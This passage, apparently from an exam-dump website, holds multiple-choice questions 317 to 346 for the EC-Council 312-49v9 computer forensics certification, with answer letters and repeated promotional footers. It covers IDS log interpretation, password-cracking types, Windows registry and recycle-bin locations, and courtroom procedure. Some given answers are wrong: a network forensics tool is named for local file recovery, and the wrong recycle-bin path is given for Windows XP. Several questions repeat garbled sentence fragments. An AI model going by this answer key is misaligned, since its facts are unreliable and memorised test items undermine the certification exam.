D. Powering on a computer has no affect when needing to acquire digital evidence from it
Answer: C (LEAVE A REPLY)

NEW QUESTION: 317
Why would you need to find out the gateway of a device when investigating a wireless attack?
A. The gateway will be the IP of the proxy server used by the attacker to launch the attack
B. The gateway will be the IP used to manage the access point
C. The gateway will be the IP of the attacker computer
D. The gateway will be the IP used to manage the RADIUS server
Answer: (SHOW ANSWER)

NEW QUESTION: 318
The following excerpt is taken from a honeypot log. The log captures activities across three days. There are several intrusion attempts; however, a few are successful.
(Note: The objective of this question is to test whether the student can read basic information from log entries and interpret the nature of attack.)
Apr 24 14:46:46 [4663]: spp_portscan: portscan detected from 194.222.156.169
Apr 24 14:46:46 [4663]: IDS27/FIN Scan: 194.222.156.169:56693 -> 172.16.1.107:482
Apr 24 18:01:05 [4663]: IDS/DNS-version-query: 212.244.97.121:3485 -> 172.16.1.107:53
Apr 24 19:04:01 [4663]: IDS213/ftp-passwd-retrieval: 194.222.156.169:1425 -> 172.16.1.107:21
Apr 25 08:02:41 [5875]: spp_portscan: PORTSCAN DETECTED from 24.9.255.53
Apr 25 02:08:07 [5875]: IDS277/DNS-version-query: 63.226.81.13:4499 -> 172.16.1.107:53
Apr 25 02:08:07 [5875]: IDS277/DNS-version-query: 63.226.81.13:4630 -> 1 72.16.1.101:53
Apr 25 02:38:17 [5875]: IDS/RPC-rpcinfo-query: 212.251.1.94:642 -> 172.16.1.107:111
Apr 25 19:37:32 [5875]: IDS230/web-cgi-space-wildcard: 198.173.35.164:4221 -> 172.16.1.107:80
Apr 26 05:45:12 [6283]: IDS212/dns-zone-transfer: 38.31.107.87:2291 -> 172.16.1.101:53
Apr 26 06:43:05 [6283]: IDS181/nops-x86: 63.226.81.13:1351 -> 172.16.1.107:53
Apr 26 06:44:25 victim7 PAM_pwdb[12509]: (login) session opened for user simple by (uid=0)
Apr 26 06:44:36 victim7 PAM_pwdb[12521]: (su) session opened for user simon by simple(uid=506)
Apr 26 06:45:34 [6283]: IDS175/socks-probe: 24.112.167.35:20 -> 172.16.1.107:1080

Apr 26 06:52:10 [6283]: IDS127/telnet-login-incorrect: 172.16.1.107:23 ->
213.28.22.189:4558
From the options given below choose the one which best interprets the following entry:
Apr 26 06:43:05 [6283]: IDS181/nops-x86: 63.226.81.13:1351 -> 172.16.1.107:53
A. An IDS evasion technique
B. A DNS zone transfer
C. A buffer overflow attempt
D. Data being retrieved from 63.226.81.13
Answer: (SHOW ANSWER)

NEW QUESTION: 319
Company ABC has employed a firewall, IDS, Antivirus, Domain Controller, and SIEM. The company's domain controller goes down. From which system would you begin your investigation?
A. IDS
B. Domain Controller
C. SIEM
D. Firewall
Answer: B (LEAVE A REPLY)

NEW QUESTION: 320
What type of attack occurs when an attacker can force a router to stop forwarding packets by flooding the router with many open connections simultaneously so that all the hosts behind the router are effectively disabled?
A. Denial of service
B. Physical attack
C. Digital attack
D. ARP redirect
Answer: A (LEAVE A REPLY)

NEW QUESTION: 321
You setup SNMP in multiple offices of your company. Your SNMP software manager is not receiving data from other offices like it is for your main office. You suspect that firewall changes are to blame. What ports should you open for SNMP to work through Firewalls? (Choose two.)
A. 163
B. 162
C. 161
D. 160
Answer: B,C (LEAVE A REPLY)

NEW QUESTION: 322

While searching through a computer under investigation, you discover numerous files that appear to have had the first letter of the file name replaced by the hex code byte 5h.?What does this indicate on the computer?replaced by the hex code byte ?5h.?What does this indicate on the computer?

A. The files have been marked as read-only
B. The files have been marked as hidden
C. The files have been marked for deletion
D. The files are corrupt and cannot be recovered
Answer: C (LEAVE A REPLY)

NEW QUESTION: 323
George was recently fired from his job as an IT analyst at Pitts and Company in Dallas Texas. His main duties as an analyst were to support the company Active Directory structure and to create network polices. George now wants to break into the company network by cracking some ofcompany? Active Directory structure and to create network polices. George now wants to break into the company? network by cracking some of the service accounts he knows about. Which password cracking technique should George use in this situation?

A. Rule-based attack
B. Syllable attack
C. Brute force attack
D. Dictionary attack
Answer: A (LEAVE A REPLY)

NEW QUESTION: 324
Email archiving is a systematic approach to save and protect the data contained in emails so that it can tie easily accessed at a later date.

A. False
B. True
Answer: B (LEAVE A REPLY)

NEW QUESTION: 325
How many characters long is the fixed-length MD5 algorithm checksum of a critical system file?

A. 64
B. 16
C. 32
D. 48
Answer: C (LEAVE A REPLY)

NEW QUESTION: 326
What is the First Step required in preparing a computer for forensics investigation?

A. Do not turn the computer off or on, run any programs, or attempt to access data on a computer

B. Secure any relevant media
C. Identify the type of data you are seeking, the Information you are looking for, and the urgency level of the examination
D. Suspend automated document destruction and recycling policies that may pertain to any relevant media or users at Issue
Answer: (SHOW ANSWER)

NEW QUESTION: 327
Which password cracking technique uses every possible combination of character sets?
A. Brute force attack
B. Rainbow table attack
C. Rule-based attack
D. Dictionary attack
Answer: A (LEAVE A REPLY)

NEW QUESTION: 328
Before you are called to testify as an expert, what must an attorney do first?
A. engage in damage control
B. qualify you as an expert witness
C. prove that the tools you used to conduct your examination are perfect
D. read your curriculum vitae to the jury
Answer: B (LEAVE A REPLY)

NEW QUESTION: 329
You are called by an author who is writing a book and he wants to know how long the copyright for his book will last after he has the book published?
A. 70 years
B. copyrights last forever
C. the life of the author
D. the life of the author plus 70 years
Answer: (SHOW ANSWER)

NEW QUESTION: 330
Which of these rootkit detection techniques function by comparing a snapshot of the file system, boot records, or memory with a known and trusted baseline?
A. Heuristic/Behavior-Based Detection
B. Integrity-Based Detection
C. Cross View-Based Detection
D. Signature-Based Detection
Answer: (SHOW ANSWER)

NEW QUESTION: 331
Jason is the security administrator of ACMA metal Corporation. One day he notices the company's Oracle database server has been compromised and the customer information along with financial data has been stolen.
The financial loss will be in millions of dollars if the database gets into the hands of the competitors. Jason wants to report this crime to the law enforcement agencies immediately.
Which organization coordinates computer crimes investigations throughout the United States?
A. CERT Coordination Center
B. Local or national office of the U.S. Secret Service
C. National Infrastructure Protection Center
D. Internet Fraud Complaint Center
Answer: B (LEAVE A REPLY)

NEW QUESTION: 332
In which implementation of RAID will the image of a Hardware RAID volume be different from the image taken separately from the disks?
A. The images will always be identical because data is mirrored for redundancy
B. RAID 1
C. RAID 0
D. It will always be different
Answer: (SHOW ANSWER)

NEW QUESTION: 333
When examining a hard disk without a write-blocker, you should not start windows because Windows will write data to the:
A. Recycle Bin
B. Case files
C. BIOS
D. MSDOS.sys
Answer: A (LEAVE A REPLY)

NEW QUESTION: 334

Office Documents (Word, Excel and PowerPoint) contain a code that allows tracking the MAC or unique identifier of the machine that created the document. What is that code called?
A. Globally unique ID
B. Individual ASCII string
C. Personal Application Protocol
D. Microsoft Virtual Machine Identifier
Answer: A (LEAVE A REPLY)

NEW QUESTION: 335
George is performing security analysis for Hammond and Sons LLC. He is testing security vulnerabilities of their wireless network. He plans on remaining as "stealthy" as possible during the scan. Why would a scanner like Nessus is not recommended in this situation?
A. Nessus is too loud
B. There are no ways of performing a "stealthy" wireless scan
C. Nessus is not a network scanner
D. Nessus cannot perform wireless testing
Answer: A (LEAVE A REPLY)

NEW QUESTION: 336
Which of the following examinations refers to the process of providing the opposing side in a trial the opportunity to question a witness?
A. Indirect Examination
B. Direct Examination
C. Cross Examination
D. Witness Examination
Answer: C (LEAVE A REPLY)

NEW QUESTION: 337
A(n) _____ is one that's performed by a computer program rather than the attacker manually performing the steps in the attack sequence.
A. automated attack
B. distributed attack
C. central processing attack
D. blackout attack
Answer: (SHOW ANSWER)

NEW QUESTION: 338
You have been given the task to investigate web attacks on a Windows-based server.
Which of the following commands will you use to look at which sessions the machine has opened with other systems?
A. Net sessions

B. Net share
C. Net config
D. Net use
Answer: D (LEAVE A REPLY)

NEW QUESTION: 339
Which of the following email headers specifies an address for mailer-generated errors, like "no such user" bounce messages, to go to (instead of the sender's address)?
A. Mime-Version header
B. Content-Type header
C. Errors-To header
D. Content-Transfer-Encoding header
Answer: C (LEAVE A REPLY)

NEW QUESTION: 340
Annie is searching for certain deleted files on a system running Windows XP OS. Where will she find the files if they were not completely deleted from the system?
A. C: \$Recycle.Bin
B. C:\$RECYCLER
C. C: $Recycled.Bin
D. C:\RECYCLER
Answer: A (LEAVE A REPLY)

NEW QUESTION: 341
Bob has encountered a system crash and has lost vital data stored on the hard drive of his Windows computer.
He has no cloud storage or backup hard drives. he wants to recover all those data, which includes his personal photos, music, documents, videos, official email, etc. Which of the following tools shall resolve Bob's purpose?
A. Colasoft's Capsa
B. Recuva
C. Cain & Abel
D. Xplico
Answer: D (LEAVE A REPLY)

NEW QUESTION: 342
A picture file is recovered from a computer under investigation. During the investigation process, the file is enlarged 500% to get a better view of its contents. The picture quality is not degraded at all from this process. What kind of picture is this file. What kind of picture is this file?
A. Metafile image
B. Raster image

C. Vector image
D. Catalog image
Answer: C (LEAVE A REPLY)

NEW QUESTION: 343
Which of the following is a device monitoring tool?
A. RAM Capturer
B. Capsa
C. Regs hot
D. Driver Detective
Answer: (SHOW ANSWER)

NEW QUESTION: 344
Before performing a logical or physical search of a drive in Encase, what must be added to the program?
A. Bookmarks
B. Hash sets
C. Keywords
D. File signatures
Answer: C (LEAVE A REPLY)

NEW QUESTION: 345
Which of the following statements is TRUE with respect to the Registry settings in the user start-up folder HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\.
A. All the values in this subkey run when specific user logs on, as this setting is user-specific
B. The string specified in the value run executes when user logs on
C. All values in this subkey run when specific user logs on and then the values are deleted
D. All the values in this key are executed at system start-up
Answer: C (LEAVE A REPLY)

NEW QUESTION: 346
Which of the following registry hive gives the configuration information about which application was used to open various files on the system?
A. HKEY_LOCAL_MACHINE
B. HKEY_USERS
C. HKEY_CURRENT_CONFIG
D. HKEY_CLASSES_ROOT
Answer: D (LEAVE A REPLY)

Valid 312-49v9 Dumps shared by PrepPdf.com for Helping Passing 312-49v9 Exam! PrepPdf.com now offer the **newest 312-49v9 exam dumps**, the PrepPdf.com 312-49v9 exam **questions have been updated** and **answers have been corrected** get the **newest** PrepPdf.com 312-49v9 dumps with Test Engine here: https://www.preppdf.com/EC-COUNCIL/312-49v9-prepaway-exam-dumps.html (**586** Q&As Dumps, **40%OFF** **Special Discount:** **Exam-Tests**)

Valid 312-49v9 Dumps shared by PrepPdf.com for Helping Passing 312-49v9 Exam! PrepPdf.com now offer the **newest 312-49v9 exam dumps**, the PrepPdf.com 312-49v9 exam **questions have been updated** and **answers have been corrected** get the **newest** PrepPdf.com 312-49v9 dumps with Test Engine here: https://www.preppdf.com/EC-COUNCIL/312-49v9-prepaway-exam-dumps.html (**586** Q&As Dumps, **40%OFF** **Special Discount:** **Exam-Tests**)